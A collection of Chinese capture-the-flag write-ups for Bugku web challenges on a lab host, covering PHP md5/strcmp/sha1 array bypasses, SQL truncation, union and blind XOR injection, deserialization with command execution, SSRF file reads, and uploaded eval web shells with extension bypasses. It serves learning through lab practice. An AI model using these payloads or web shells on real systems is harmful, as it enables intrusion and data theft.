key.*key.{4,7}key:\/.\/(.*key)[a-z][[:punct:]] 接下来我用一个表格来说明: 至此,我们可以对这道题的正则表达式进行构造poc: keyakeyaaaakey:/a/aakeyb! http://114.67.246.176:16829/?id=keyakeyaaaakey:/a/aakeyb! 或者keyakeyaaaakey:/a/keya!和keyaakeyaaaaakey:/a/aakeya;http://114.67.246.176:16829/?id=keyakeyaaaakey:/a/keya! 最终flag:flag{28230ec1a8c6c2fda4ddf555ba0a3152} 题目名称:前女友题目wiretup:启动题目场景,获得靶场网站,访问网站主页,页面显示一段文字内容。http://114.67.246.176:18724/对靶场主页源码进行查看,发现存在一个href的code.txt链接view-source:http://114.67.246.176:18724/访问code.txt,页面显示了一段php代码http://114.67.246.176:18724/code.txt得到的php代码:<?php if(isset($_GET['v1']) && isset($_GET['v2']) && isset($_GET['v3'])){ $v1 = $_GET['v1']; $v2 = $_GET['v2']; $v3 = $_GET['v3']; if($v1 != $v2 && md5($v1) == md5($v2)){ if(!strcmp($v3, $flag)){ echo $flag; } } } ?>知识点有两个:1、md5算法不能用来比较数组,如果是数组会返回NULL,也就是等值;2、这个之前是真的没有注意过:strcmp函数本来这个函数是用来比较字符串的,在php5.3版本以后,如果比较的一方是数组,函数会返回0,也就是说,匹配成功。这里有php中的MD5漏洞及strcmp漏洞,php中以0e开头的字符串都统一看成0,而strcmp函数,如果传入的参数不是字符串的话,会默认报错,同时会直接认为相等。 可以看出是利用php中的md5()函数漏洞和strcmp()函数漏洞。PHP在处理哈希字符串时,会利用”!=”或”==”来对哈希值进行比较,它把每一个以”0E”开头的哈希值都解释为0,所以如果两个不同的密码经过哈希以后,其哈希值都是以”0E”开头的,那么PHP将会 认为他们相同,都是0。同时MD5不能处理数组,有时也可以用数组绕过。同时strcmp()函数也可用数组绕过。满足v1v2的值不等但是md5相等且v3=flag才行方法一:md5()函数漏洞获得flag第一种$_GET['a'] != $_GET['b'] &&MD5($_GET['a']) == MD5($_GET['b'])满足v1与v2不能相等,v1与v2的md5相等,可以利用md5函数的漏洞,PHP在处理哈希字符串时,它把每一个以“0E”开头的哈希值都解释为0,所以如果两个不同的密码经过哈希以后,其哈希值都是以“0E”开头的,那么PHP将会认为他们相同,都是0。常用的有:QNKCDZO240610708s878926199as155964671as214587387as214587387aQNKCDZO240610708s878926199as155964671as214587387as1885207154as214587387as1091221200aaabg7XS第二种$_POST['a1']!==$_POST['a2'] && md5($_POST['a1'])===md5($_POST['a2'])=== 不仅比较值相等还会要求类型比较但是,md5无法处理数组!所以构建数组就可以了第三种(string)$_POST['a1']!==(string)$_POST['a2'] && md5($_POST['a1'])===md5($_POST['a2'])} 这里比较的是字符串意思大致就是v1!=v2,md5值相等,之前提到过,是240610708和QNKCDZO,然后比较v3和flag,这里利用了strcmp的一个漏洞,不能比较数组,构造url:?v1=QNKCDZO&v2=240610708&v3[]=1 或者?v1=s1885207154a&v2=s1091221200a&v3[]=1http://114.67.246.176:18724/?v1=s1885207154a&v2=s1091221200a&v3[]=1 方法二:php strcmp()漏洞获得flag在传入的参数类型不是字符串时会报错,但是却判定相等!当然此漏洞存在于老版本的php中if (strcmp($_GET[‘a’], $flag) == 0) //如果 str1 小于 str2 返回 < 0; 如果 str1大于 str2返回 > 0;如果两者相等,返回 0。//比较两个字符串(区分大小写)就是get 用a和flag比较,这里strcmp有一个bug就是如果比较的是数组的话,还是会返回一个0。所以呢,此题的解法就是:payload:?v1[]=1&v2[]=2&v3[]=3http://114.67.246.176:18724/?v1[]=1&v2[]=2&v3[]=3或者?v1=240610708 &&v2=314282422&&v3[]=1http://114.67.246.176:18724/?v1=240610708&&v2=314282422&&v3[]=1最终flag:flag{c0cdf447f5840858cca4371528d8be1c} 题目名称:login1题目内容:hint:SQL约束攻击题目writeup:启动题目场景,获得靶场网站,访问网站主页,页面显示了一个登陆窗口。http://114.67.246.176:14043/按照正常流程,这里我们注册一个账号test1,密码Test123456,可注册成功http://114.67.246.176:14043/register.php在登录页面输入账号test,密码Test123456,页面显示“不是管理员还想看flag",说明我们需要拿到admin管理员的账号登录才能获得flag根据题目内容提示“hint:SQL约束攻击”那么sql约束攻击:1.在SQL中执行字符串处理时,字符串末尾的空格符将会被删除。换句话说“vampire”等同于“vampire ”,对于绝大多数情况来说都是成立的(诸如WHERE子句中的字符串或INSERT语句中的字符串)例如以下语句的查询结果,与使用用户名“vampire”进行查询时的结果是一样的。例:SELECT * FROM users WHERE username='vampire ';但也存在异常情况,最好的例子就是LIKE子句了。注意,对尾部空白符的这种修剪操作,主要是在“字符串比较”期间进行的。这是因为,SQL会在内部使用空格来填充字符串,以便在比较之前使其它们的长度保持一致。2.在所有的INSERT查询中,SQL都会根据varchar(n)来限制字符串的最大长度。也就是说,如果字符串的长度大于“n”个字符的话,那么仅使用字符串的前“n”个字符。比如特定列的长度约束为“5”个字符,那么在插入字符串“vampire”时,实际上只能插入字符串的前5个字符,即“vampi”。漏洞原理:假设数据库中存在一个admin,而且最大的限制长度是25,我们在注册的时候输入用户名admin[20个空格]1,密码随意输入。那么数据库在判断我们注册的用户名是否存在时,使用select语句,那么空格就会被删除,剩下admin1。这时因为数据库中只有admin,所以会被注册成新用户,但在注册的时候用的是insert语句,不删除空格,只取最大字符串,那么我们实际注册的用户名就是admin[20个空格]。 在登陆的时候select语句查找,以为查找的时候select回删除空格,就会返回两个admin,一条是真正的admin,另一条是admin[20个空格],那么我们就可以用admin和我们自己的密码登录了 所以就很好理解了,我们就注册个类似的admin账户让登录代码读入的时候读入的是假的admin账户信息,而回显的是真的admin信息 这里我们注册账号:admin (两空格) 密码:Admin1234,并用该账号登录,页面内容显示了flag内容 最终flag:flag{7cf706aabc162d62d2f682188bcc2db4} 题目名称:你从哪里来题目writeup:启动题目场景,获得靶场网站,访问网站,页面内容显示“你是来自谷歌?”http://114.67.246.176:10815/查看靶场网站主页源码,发现是空白,无利用点view-source:http://114.67.246.176:10815/通过御剑目录扫描工具对网站进行目录扫描只发现存在index.php,也没有可利用点联想到上文提示的“你是来自谷歌?”暗示我们需要通过Referer进行伪造google.com地址。Referer:http://www.google.com 最终得到flag:flag{baf01ae3898529c1dbd25c20db1f990e} 题目名称:MD5题目内容:md5 collision题目writeup:启动题目场景,获得靶场网站,访问网站,页面显示“请输入参数a ",告诉我们这里的get请求参数构造为:?a=http://114.67.246.176:18776/这里将a参数变量任意赋值为1,提交发现页面内容为falsehttp://114.67.246.176:18776/?a=1这道题有点坑,并没有泄露源码出来,于是找到了这题的源码:<?php$md51 = md5('QNKCDZO');$a = @$_GET['a'];$md52 = @md5($a);if(isset($a)){if ($a != 'QNKCDZO' && $md51 == $md52) { echo "nctf{*****************}";} else { echo "false!!!";}}else{echo "please input a";}?>将QNKCDZO进行md5加密后,得到值:0e830400451993494058024219903391,发现为0e开头,所以此处考虑MD5碰撞,就是经过md5加密后以0e开头的在进行‘==’运算时,php会认为他们都为0。 其哈希值都是以“0E”开头的,那么PHP将会认为他们相同,都是0。常用的有:QNKCDZO240610708s878926199as155964671as214587387as214587387aQNKCDZO240610708s878926199as155964671as214587387as1885207154as214587387as1091221200aaabg7XSpayload为:a=s1885207154ahttp://114.67.246.176:18776/?a=s1885207154a最终flag:flag{bdfa5876fbf4986996dcec0afdee5b41} 题目名称:程序员本地网站题目writeup:启动题目场景,获得靶场网站,访问网站,页面内容显示"请从本地访问!"告诉我们需要通过x-forwarded-for伪造本地IP地址http://114.67.246.176:10995/这里通过bupsuit对访问靶场网站主页进行抓包拦截,然后在http头部添加:x-forwarded-for:127.0.0.1,并发送请求包,在响应页面中可获得flag最终flag为:flag{42ba9bfb280899ba67541d8bc8f7aa5a} 题目场景:各种绕过哟题目writeup:启动题目场景,获得靶场网站,访问网站,页面显示了一段php代码http://114.67.246.176:16020/ 得到的php代码:<?php highlight_file('flag.php'); $_GET['id'] = urldecode($_GET['id']); $flag = 'flag{xxxxxxxxxxxxxxxxxx}'; if (isset($_GET['uname']) and isset($_POST['passwd'])) { if ($_GET['uname'] == $_POST['passwd']) print 'passwd can not be uname.'; else if (sha1($_GET['uname']) === sha1($_POST['passwd'])&($_GET['id']=='margin')) die('Flag: '.$flag); else print 'sorry!'; } ?>通过阅读代码,我们发现要想得到flag就要达到下面三个条件: 使 uname的sha1值 与 passwd的sha1的值相等但是同时 uname 和 passwd两个的值又不能相等id == "margin"GET传参id以及uname,POST传参passwd,要求id=margin 当uname和passwd的值不相等,且他们的sha1值相等和get传的id值为margin时,会得到flag uname的sha1值 与 passwd的sha1的值相等需要利用sha1()不能处理数组的漏洞,如果传入的值为数组,则sha1会返回NULL,因此只需让uname和passwd都为数组,等式成为NULL===NULL,成立 构建payload: ?id=margin&uname[]=1 post: passwd[]=2 最终flag为:flag{c4cb179ab6902db25c4e29f9d925451e} 题目名称:file_get_contents题目writeup:启动题目场景,获得靶场,访问靶场网站,得到一段php代码http://114.67.246.176:18393/得到的php代码:<?php extract($_GET); if (!empty($ac)) { $f = trim(file_get_contents($fn)); if ($ac === $f) { echo "<p>This is flag:" ." $flag</p>"; } else { echo "<p>sorry!</p>"; } } ?>大致意思就是要上传 ac和fn两个参数且ac的值等于fn文件内容的值 get一个file参数到file_get_contents()函数里,如果返回为指定字符串,就得到了flag 这时候就可以用到php伪协议的php://input 他的作用是可以访问请求的原始数据的只读流, 将post请求中的数据作为PHP代码执行。顺便记一下这个伪协议需要allow_url_include为on 这里涉及到一个file_get_contents()函数,而这个函数是可以绕过的方法一:使用php://input伪协议绕过① GET的参数为?ac=ab&fn=php://input② 用post方法传入想要file_get_contents()函数返回的值:abhttp://114.67.246.176:18393/?ac=ab&fn=php://inputpost:ab 方法二:利用data://text/plain伪协议进行绕过data伪协议只有在php<5.3且include=on时可以写木马(PHP版本有限制)GET的参数为:?ac=flag&fn=data://text/plain,flaghttp://114.67.246.176:18393/?ac=flag&fn=data://text/plain,flag方法三:利用data://text/plain;base64伪协议进行绕过和解法3一样,但是进行了base64编码,可以用来过一些简单的过滤GET的参数为:?ac=flag&fn=data://text/plain;base64,ZmxhZw== http://114.67.246.176:18393/?ac=flag&fn=data://text/plain;base64,ZmxhZw==最终flag:flag{75219fcb9d96e3722b64d12903a7ffb5} 题目名称:安慰奖题目writeup:启动题目场景,获得靶场网站,访问网站,发现页面是空白http://114.67.246.176:11969/查看靶场网站主页源码,在注释中发现一个base64加密的字符串YmFja3Vwcw==解码得到:backups,告诉我们该网站中含有备份文件。 通过御剑目录扫描工具对靶场网站进行目录扫描,发现网站中存在index.php和 index.php.bk以及 flag.php文件。访问index.php.bk下载该文件,并在本地文件打开http://114.67.246.176:11969/index.php.bak得到的index.php源码为:<?php header("Content-Type: text/html;charset=utf-8");error_reporting(0);echo "<!-- YmFja3Vwcw== -->";class ctf{ protected $username = 'hack'; protected $cmd = 'NULL'; public function __construct($username,$cmd) { $this->username = $username; $this->cmd = $cmd; } function __wakeup() { $this->username = 'guest'; } function __destruct() { if(preg_match("/cat|more|tail|less|head|curl|nc|strings|sort|echo/i", $this->cmd)) { exit('</br>flag能让你这么容易拿到吗?<br>'); } if ($this->username === 'admin') { // echo "<br>right!<br>"; $a = `$this->cmd`; var_dump($a); }else { echo "</br>给你个安慰奖吧,hhh!</br>"; die(); } }} $select = $_GET['code']; $res=unserialize(@$select);?>首先需要了解php的一些魔术方法的性质:serialize() 函数会检查类中是否存在一个魔术方法 __sleep()。如果存在,该方法会先被调用,然后才执行序列化操作。与之相反,unserialize() 会检查是否存在一个 __wakeup() 方法。如果存在,则会先调用 __wakeup 方法,预先准备对象需要的资源。__construct():PHP 允许开发者在一个类中定义一个方法作为构造函数。具有构造函数的类会在每次创建新对象时先调用此方法,所以非常适合在使用对象之前做一些初始化工作。__destruct():PHP 5 引入了析构函数的概念,这类似于其它面向对象的语言,如 C++。析构函数会在到某个对象的所有引用都被删除或者当对象被显式销毁时执行。需要注意的是当访问控制符为private与protect时,序列化时比较特殊:  protected属性被序列化的时候属性值会变成:%00*%00属性名private属性被序列化的时候属性值会变成:%00类名%00属性名 代码分析,construct方法可以让外部来的username和cmd变量替代内部的protected的username和cmd但是经过尝试,普通变量肯定不行,只好尝试权限比protected高的private变量当序列化字符串表示对象属性个数的值大于真实个数的属性时就会跳过__wakeup的执行destruct方法过滤了一堆命令,但是两个反引号明显是存在远程命令调用的需要我们上传一个code参数,程序会对其反序列化,当判断username为admin时,会执行cmd内的代码。构造反序列化代码:<?phpclass ctf{ protected $username='admin'; protected $cmd='ls';}$a=new ctf();echo(serialize($a))?>运行得到序列化:https://tool.lu/coderunner序列化一个ctf对象,其中username,cmd必须是private变量,cmd命令用tac命令,用多于两个属性值的对象就可以禁用wakeup方法 O:3:"ctf":2:{s:11:"*username";s:5:"admin";s:6:"*cmd";s:2:"ls";} O :代表对象 因为我们序列化的是一个对象3 :代表类名字占三个字符ctf :类名2: 代表三个属性,因为需要绕过__wakeup()函数,所以比实际属性个数2大s:代表字符串11:代表属性名长度username: 属性名s:5:“admin”: 字符串 属性值长度 属性值protected属性被序列化的时候属性值会变成:%00类名%00属性名,而%00是空字符,在浏览器中会显示为空,但不代表传入时能没有%00,所以我们最后的payload应该加上%00O:3:"ctf":2:{s:11:"%00*%00username";s:5:"admin";s:6:"%00*%00cmd";s:2:"ls";}因为这里是protected所以是%00*%00共占三位 绕过_wakeup函数:当序列化字符串表示对象属性个数的值大于真实个数的属性时就会跳过__wakeup的执行。绕过_wakeup()函数只需要将ctf后面的2改成比2大的值3即可,,最终payload:?code=O:3:"ctf":4:{s:11:"%00*%00username";s:5:"admin";s:6:"%00*%00cmd";s:2:"ls";}http://114.67.246.176:11969/?code=O:3:"ctf":4:{s:11:"%00*%00username";s:5:"admin";s:6:"%00*%00cmd";s:2:"ls";}发现flag.php,它还利用了正则过滤了许多系统命令,这里使用tac命令查看flag.php的文件内容。?code=O:3:"ctf":4:{s:11:"%00*%00username";s:5:"admin";s:6:"%00*%00cmd";s:12:"tac flag.php";}http://114.67.246.176:11969/?code=O:3:"ctf":4:{s:11:"%00*%00username";s:5:"admin";s:6:"%00*%00cmd";s:12:"tac flag.php";}最终获得flag:flag{Unser1alize_and_2CE_Add} 题目名称:文件上传题目writeup:启动题目场景,获得靶场网站,访问网站,页面显示内容为"My name is margin,give me a image file not a php"告诉我们需要上传图片文件。http://114.67.246.176:14970/这里准备上传一句话图片木马2.jpg,且内容为:<?php @eval($_POST[cmd]); ?>通过bupsuit抓包,对其上传,可以看到成功上传2.jpg图片木马,说明该网站WAF不会坚持木马内容正常操作,先将下面文件的类型改为:image/jpeg,然后试试,不行,试了试"."和“;.jpg”,但是上传后都变成了jpg,那么先将上面的Content-Type的值修改一个为大写,文件扩展名从:php2, php3, php4, php5, phps, pht, phtm, phtml,挨个测试,发现.php4可以成功上传。因此:Content-Type: multipart/form-data; boundary=---------------------------265001916915724修改为Content-Type: Multipart/form-data; boundary=---------------------------265001916915724将2.jpg修改文1.php4可绕过上传限制,可成功上传1.php4上传的一句话后门文件路径为:upload/bugku25155937_7494.php4下面使用蚁剑远程连接一句话木马http://114.67.246.176:14970/upload/bugku25155937_7494.php4 在网站的根目录下存在flag文件查看flag文件,即可得到flag内容最终得到flag:flag{c8036b897db1f709036563db65be63fa} 题目名称:decrypt题目提示:Flag:{xxx} 题目内容: fR4aHWwuFCYYVydFRxMqHhhCKBseH1dbFygrRxIWJ1UYFhotFjA=题目writeup:下载附件得到php.zip,对其解压得到index.phphttps://ctf.bugku.com/attachment/download/file/105.htmlindex.php的源码:<?phpfunction encrypt($data,$key){ $key = md5('ISCC'); $x = 0; $len = strlen($data); $klen = strlen($key); for ($i=0; $i < $len; $i++) { if ($x == $klen) { $x = 0; } $char .= $key[$x]; $x+=1; } for ($i=0; $i < $len; $i++) { $str .= chr((ord($data[$i]) + ord($char[$i])) % 128); } return base64_encode($str);}?>加密过程是把ISCC转换成一个md5值,然后把每一位放在一个数组里,然后和待解的flag里面的每一位相加相加模128,得到字符的ascii码,最后base64编码得到:fR4aHWwuFCYYVydFRxMqHhhCKBseH1dbFygrRxIWJ1UYFhotFjA= 解密的话就反着来,先base64解码,然后将结果每一位的ascii码值减去密钥的ascii码值,注意ascii码值需要在0-128之间,所以需要加上1个128然后再求模最后再转成字符,就得到flag <?php $key = md5('ISCC'); $str = base64_decode('fR4aHWwuFCYYVydFRxMqHhhCKBseH1dbFygrRxIWJ1UYFhotFjA='); $klen = strlen($key); $len = strlen($str); $x = 0; for ($i=0; $i < $len; $i++) { if ($x == $klen){ $x = 0; } $char .= $key[$x]; $x+=1; } for($i = 0; $i < $len; $i ++){ $data .= (ord($str[$i])-ord($char[$i]))>0?chr(ord($str[$i])-ord($char[$i])):chr(ord($str[$i])-ord($char[$i])+128); } print($data);?>https://tool.lu/coderunner或者# /usr/bin/python import base64 def decrypt(str): text1=base64.b64decode(str) key='729623334f0aa2784a1599fd374c120d729623' flag='' for i in range(len(text1)): flag +=chr((ord(text1[i])-ord(key[i])+128)%128) #flag +=chr((text1[i]-ord(key[i])+128)%128) print(flag) if __name__ == '__main__': str='fR4aHWwuFCYYVydFRxMqHhhCKBseH1dbFygrRxIWJ1UYFhotFjA=' decrypt(str)最终flag:Flag:{asdqwdfasfdawfefqwdqwdadwqadawd} 题目名称:文件包含2题目writeup:启动题目场景,获得靶场网站,访问网站,页面显示是一个文件包含。http://114.67.246.176:19436/index.php?file=hello.php查看靶场网站文件包含的源码,在注释中包含有upload.php文件,那么该文件是存在于靶场网站中。view-source:http://114.67.246.176:19436/index.php?file=hello.php这里包含upload.php,发现页面是一个文件上传功能。且只能上传jpg、gif、png图片文件格式,且文件大小不能超过100kbindex.php?file=hello.phphttp://114.67.246.176:19436/index.php?file=upload.php尝试上传一句话图片木马2.jpg,其内容为:<?php @eval($_POST[cmd]); ?>,可以看到成功上传一句话图片木马。上传的一句话图片木马的路径地址:upload/202108250501423628.jpg访问一句话图片木马地址,并且下载到本地,打开图片,发现网站过滤了<?php 和 ?>http://114.67.246.176:19436/upload/202108250501423628.jpg 既然网站过滤<?php 和 ?>,那么可以上传以下一句话图片内容poc:<script language=php>echo 'a'; eval($_POST['pass']);</script>或者<script language=php>eval($_POST[shell])</script> 可以看到,成功上传一句户图片木马一句话图片上传的路径地址:upload/202108250507189932.jpg那么可以通过文件包含的形式去访问一句话图片木马地址:http://114.67.246.176:19436/index.php?file=upload/202108250507189932.jpg下面通过蚁剑远程连接一句话图片木马在网站的根目录下发现存在flag文件通过查看flag文件,可获得flag内容最终 flag为:flag{f5195471d8dfe034756f9cf8440b6574} 题目名称:需要管理员题目描述:好像需要管理员题目writeup:启动题目场景,获得靶场网站,访问网站,发现页面内容显示404http://114.67.246.176:17514/通过御剑目录扫描工具对其靶场网站进行扫描,发现网站存在robots.txt文件访问robots.txt文件,发现网站包含隐藏了resusl.php文件。http://114.67.246.176:17514/robots.txt访问resusl.php文件http://114.67.246.176:17514/resusl.php页面显示了内容:"Warning:你不是管理员你的IP已经被记录到日志了,118.122.97.101"以及“if ($_GET[x]==$password) 此处省略1w字”根据页面内容提示“你不是管理员你的IP已经被记录到日志了”,猜测可能需要伪造请求源ip地址,这里在http请求头部添加X-Forwarded-For: 127.0.0.1,发送请求,在响应页面内容没有任何变化。又根据上文提示:“if ($_GET[x]==$password) 此处省略1w字”,告诉我们需要构造get请求,以及参数为x,其参数值还未知。于是构造poc:http://114.67.246.176:17514/resusl.php?x=1然后访问,并通过bupsuit对其抓包拦截,最后fuzz爆破参数x的值 可以看到payload为admin的时候,得到flag值最终flag:flag{b63d2fe82e6fa83ca589bd57c7726bfc} 题目名称:newphp题目内容:flag{}题目writeup:启动题目场景,获得靶场网站,访问网站,页面显示了一段php代码http://114.67.246.176:15516/ 得到的php代码:<?php // php版本:5.4.44 header("Content-type: text/html; charset=utf-8"); highlight_file(__FILE__); class evil{ public $hint; public function __construct($hint){ $this->hint = $hint; } public function __destruct(){ if($this->hint==="hint.php") @$this->hint = base64_encode(file_get_contents($this->hint)); var_dump($this->hint); } function __wakeup() { if ($this->hint != "╭(●`∀´●)╯") { //There's a hint in ./hint.php $this->hint = "╰(●’◡’●)╮"; } } } class User { public $username; public $password; public function __construct($username, $password){ $this->username = $username; $this->password = $password; } } function write($data){ global $tmp; $data = str_replace(chr(0).'*'.chr(0), '\0\0\0', $data); $tmp = $data; } function read(){ global $tmp; $data = $tmp; $r = str_replace('\0\0\0', chr(0).'*'.chr(0), $data); return $r; } $tmp = "test"; $username = $_POST['username']; $password = $_POST['password']; $a = serialize(new User($username, $password)); if(preg_match('/flag/is',$a)) die("NoNoNo!"); unserialize(read(write($a)));首先在evil类里$this->hint指向文件触发file_get_contents函数读取文件内容,然后提示有个hint.php,要构造触发这个evil类的序列化:<?phpclass evil{ public $hint="hint.php";}$a= new evil();var_dump(serialize($a));?>通过php在线工具运行 可得到evil类的序列化的值https://tool.lu/coderunner 得到evil类的序列化值:O:4:"evil":1:{s:4:"hint";s:8:"hint.php";}绕过_wakeup需要将evil后面的数字更改为比原来的数字大(绕过_wakeup只需对象属性个数值比原来数字大)O:4:"evil":2:{s:4:"hint";s:8:"hint.php";}但是看接入点,是post进去username和password两个参数,然后触发的是User类,然后在user类中有read()方法和write() 方法,这两个方法都是经过处理后才进行反序列化的这里就有一个漏洞了,php反序列化字符串逃逸php特性:1.PHP 在反序列化时,底层代码是以 ; 作为字段的分隔,以 } 作为结尾(字符串除外),并且是根据长度判断内容的2.对类中不存在的属性也会进行反序列化漏洞原因:序列化的字符串在经过过滤函数不正确的处理而导致对象注入,详细的可以看下这篇文章(https://blog.csdn.net/dengyu810/article/details/103213750)user类触发的payload为:O:4:"User":2:{s:8:"username";s:3:"111";s:8:"password";s:41:"O:4:"evil":2:{s:4:"hint";s:8:"hint.php";}";}这时候我们要逃逸的就是";s:8:"password";s:41:"共23个字符而每次添加一组\0\0\0可以逃逸三个字,所以肯定需要3的倍数,我们可以在password的值上再加一个任意字符,即可凑齐24个用8对进行逃逸,但是会触发wakeup函数,使我们的hint指向一个颜文字,利用wakeup函数漏洞,将属性个数从1改成2即可绕过,最终构造的payload为:payload:username=\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0&password=1";O:4:"evil":2:{s:4:"hint";s:8:"hint.php";}构造POC:http://114.67.246.176:15516/post: username=\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0&password=1";O:4:"evil":2:{s:4:"hint";s:8:"hint.php";} 访问请求,得到的加密base64字符串:PD9waHAKICRoaW50ID0gImluZGV4LmNnaSI7CiAvLyBZb3UgY2FuJ3Qgc2VlIG1lfgo=解密得到:<?php $hint = "index.cgi"; // You can't see me~ 发现解密后的代码块中包含 index.cgi文件访问index.cgi文件,页面显示一段JSON格式的输出内容。http://114.67.246.176:15516/index.cgi 得到的json输出内容:{ "args": { "name": "Bob" }, "headers": { "Accept": "*/*", "Host": "httpbin.org", "User-Agent": "curl/7.64.0", "X-Amzn-Trace-Id": "Root=1-612754a1-06da11ef750abeea7211a11b" }, "origin": "114.67.246.176", "url": "http://httpbin.org/get?name=Bob"}在访问index.cgi得到的内容中包含了一个特殊的url地址http://httpbin.org/get?name=Bob,说明是来自 httpbin.org域名的访问,猜测是ssrf漏洞,且请求的参数为?name=Bob于是我们可以构造:http://114.67.246.176:15516/index.cgi?name=test来验证是否存在SSRF,可以看到请求的url地址是来自httpbin.org服务器端请求。证实靶机网站确实存在SSRF既然ssrf漏洞存在,那么就可以通过file协议来直接读取flag内容,发现一直在headers里面出不去 ?name=file:///flaghttp://114.67.246.176:15516/index.cgi?name=file:///flag 那么就需要逃逸出headers,这里需要在file:///flag前加空格(%20),可直接读取flag文件内容?name=%20file:///flaghttp://114.67.246.176:15516/index.cgi?name=%20file:///flag 最终得到flag:flag{68021f3879a3662b925b4ce431208f05} 题目名称:点login咋没反应题目writeup:启动题目场景,获得靶场网站,发现页面是登录窗口,输入用户名和密码没有任何提示。http://114.67.246.176:13673/查看靶场网站源码,发现页面超链接了admin.css以及action提交的是#,就证实上面提交无反应的原因。view-source:http://114.67.246.176:13673/访问admin.css页面,发现在注释中存在"tre ?1094",告诉我们需要访问参数?1094http://114.67.246.176:13673/admin.css这里我们访问?1094参数,页面显示了一块php代码http://114.67.246.176:13673/?1094 得到的php代码:<?php error_reporting(0); //关闭错误报告 $KEY='ctf.bugku.com'; //把字符串的值赋值给变量key include_once("flag.php"); //在脚本执行期间包含运行flag.php $cookie = $_COOKIE['BUGKU']; //通过 HTTP Cookies方式传递给当前脚本的cookie变量的BUGKU数组 if(isset($_GET['24146'])){ show_source(__FILE__); } elseif (unserialize($cookie) === "$KEY") //判断cookie值反序列化后的值与ctf.bugku.com是否相同,若unserialize($cookie)全等于$KEY,这里注意有双引号,大体意思是:cookie的参数为BUGKU,值为$KEY的序列化 { echo "$flag"; //相同则输出flag } 根据代码分析可知,当elseif (unserialize($cookie) === "$KEY") 时,即得flag。且$cookie=COOKIE[‘BUGKU’]大致就是当传入的cookie参数BUGKU的值反序列化后等于KEY就输出Flag:下面构造key的反序化:<?php$KEY='ctf.bugku.com';echo serialize($KEY); 通过在线php运行得到key反序化的值https://tool.lu/coderunner得到的key序列化值:s:13:"ctf.bugku.com";访问靶场网站主页,然后通过burpsuit对其抓包,然后再http请求头部中添加Cookie: BUGKU=s:13:"ctf.bugku.com";(cookie的参数为BUGKU,值为$KEY的序列化), 并发送请求,在响应页面中可得到flag;BUGKU=s:13:"ctf.bugku.com";最终flag:flag{3e2a7b8bbc39dc51af6e2a82b5bc6705} 题目名称:都过滤了题目描述:!,!=,=,+,-,^,%全都过滤了绝望吗? 题目writeup:启动题目场景获得靶场网站,发现页面是一个登陆窗口。http://114.67.246.176:19515/index.php输入admin用户,密码任意,发现密码错误,证明admin用户存在靶场系统中,但是不知道密码是多少。输入用户admin' 密码任意,显示username错误,说明单引号没被过滤 输入用户admin'#密码任意,发现过滤了,那#用不了,试了试--+都被过滤。同时使用dirsearch.py脚本对靶场网站目录进行扫描,发现存在一个特殊的images目录python3 dirsearch.py -u http://114.67.246.176:19515/访问imagses目录,存在一张1.png图片http://114.67.246.176:19515/images/访问1.png图片,从图片内容中提示我们不是数字开头的字符串在比较时会自动转成0http://114.67.246.176:19515/images/1.png图片内容中提示0=0也就是永真,所以可以爆出所有的用户名。根据题目描述提示”!,!=,=,+,-,^,%”这些符号都没被过滤 ,那么异或(^)或者-号以及单引号都没过滤,使用脚本异或注入跑出flag:# -*- coding: utf-8 -*- import requests session = requests.Session() url="http://114.67.246.176:19515/login.php" flag='' for i in range(1,250): left=32 right=128 mid=(left+right)//2 while(left<right): payload="admin'^((ascii(mid((select(group_concat(passwd)))from(%s)))>%s))^'1"%(i,mid) data = {'uname': payload, 'passwd': 'admin'} res = requests.post(url, data=data) if 'password' in res.text: left=mid+1 else: right=mid mid=(left+right)//2 if(mid==32 or mid==127): break flag=flag+chr(mid) print(flag)得到paswword的MD5值:4dcc88f8f1bc05e7c2ad1a60288481a2通过在线password md5解密得到password的明文:bugkuctf猜测该明文为admin 的密码尝试输入用户名admin,密码:bugkuctf,可成功登陆到系统后台。http://114.67.246.176:19515/admin/执行ls 命令来列出当前目录存在的文件,发现并没有flag执行命令ls /,提示“危险字符,命令执行失败”说明空格被过滤了。在linux里面有很多方式可以代替空格如: cat${IFS}flag.txtcat$IFS$9flag.txtcat<flag.txtcat<>flag.txt因此通过不断尝试,发现下面命令语句可获得flag:cat<>/flag或者cat</flag最终 flag:flag{9e35651ff816d9d3eebfbd0ca11607ce} 题目名称:login2题目描述:命令执行题目writeup:启动题目场景,获得靶场网站,访问网站,发现页面是一个登陆窗口http://114.67.246.176:17385/login.php这里我们在登录页面输入用户名admin,密码123456,并通过burpsuit对其抓包,并发送数据包,发现在http 响应头中tip:的值出现了一串base64字符串。得到base64的tip值:JHNxbD0iU0VMRUNUIHVzZXJuYW1lLHBhc3N3b3JkIEZST00gYWRtaW4gV0hFUkUgdXNlcm5hbWU9JyIuJHVzZXJuYW1lLiInIjsKaWYgKCFlbXB0eSgkcm93KSAmJiAkcm93WydwYXNzd29yZCddPT09bWQ1KCRwYXNzd29yZCkpewp9进行base64解密得到一段代码如下:$sql="SELECT username,password FROM admin WHERE username='".$username."'";if (!empty($row) && $row['password']===md5($password)){}代码中的单双引号的嵌套,其中username和password列名在数据库中是存字符串的,而字符串是需要用引号引起来的,不然会出错。 这个时候最外面的双引号是具有解析变量的作用,而里面的单引号是给数据库语句用的,如果里面再用双引号就会跟最外面的双引号起冲突了,故用单引号。而sql语句中的两个变量username和password之所以用点号连接左右,是因为如果变量在单引号里面可能会不被解析出来,而被当成 一个字符串。 发现验证逻辑是取回数据库的密码后,再与post请求里的密码进行对比验证那么这里就可以考虑利用union注入来返回自己构造的账号和密码,实现伪造身份登入后台要注意的一点就是在union前的username在数据库中是不存在的,否则返回的$row数组只将第一条的密码进行校验,无法绕过可以看到是先提交的用户名之后再从数据中查询密码,随后再核对密码,然后也没有对 username 进行过滤的操作,于是构造payload如下:username=’ union select md5(1),md5(123)#&password=123可以看到成功请求登录成功。那么用户名:' union select md5(1),md5(123)#密码:123输入以上用户名和密码,可成功登录系统:执行这条语句时,由于前面的username为空,所以没有数据返回,但后面的union select md5(1),md5(123)则会返回两个MD5的值,然后password我们也置为passwd,从而绕过if语句的判断。还原语句为:SELECT username,password FROM admin WHERE username='' union select md5(1),md5(123)#&password=123此时我们可以 username='', 两个 sql 语句进行联合操作时,当前一个语句选择的内容为空, 我们这里就将后面的语句的内容显示出来所以本题中的SELECT username,password FROM admin WHERE username='' union select md5(1),md5(123)#将会返回username passwordmd5(1) md5(123)这样就能使if判断为真if (!empty($row) && r o w [′password′] = = = m d 5 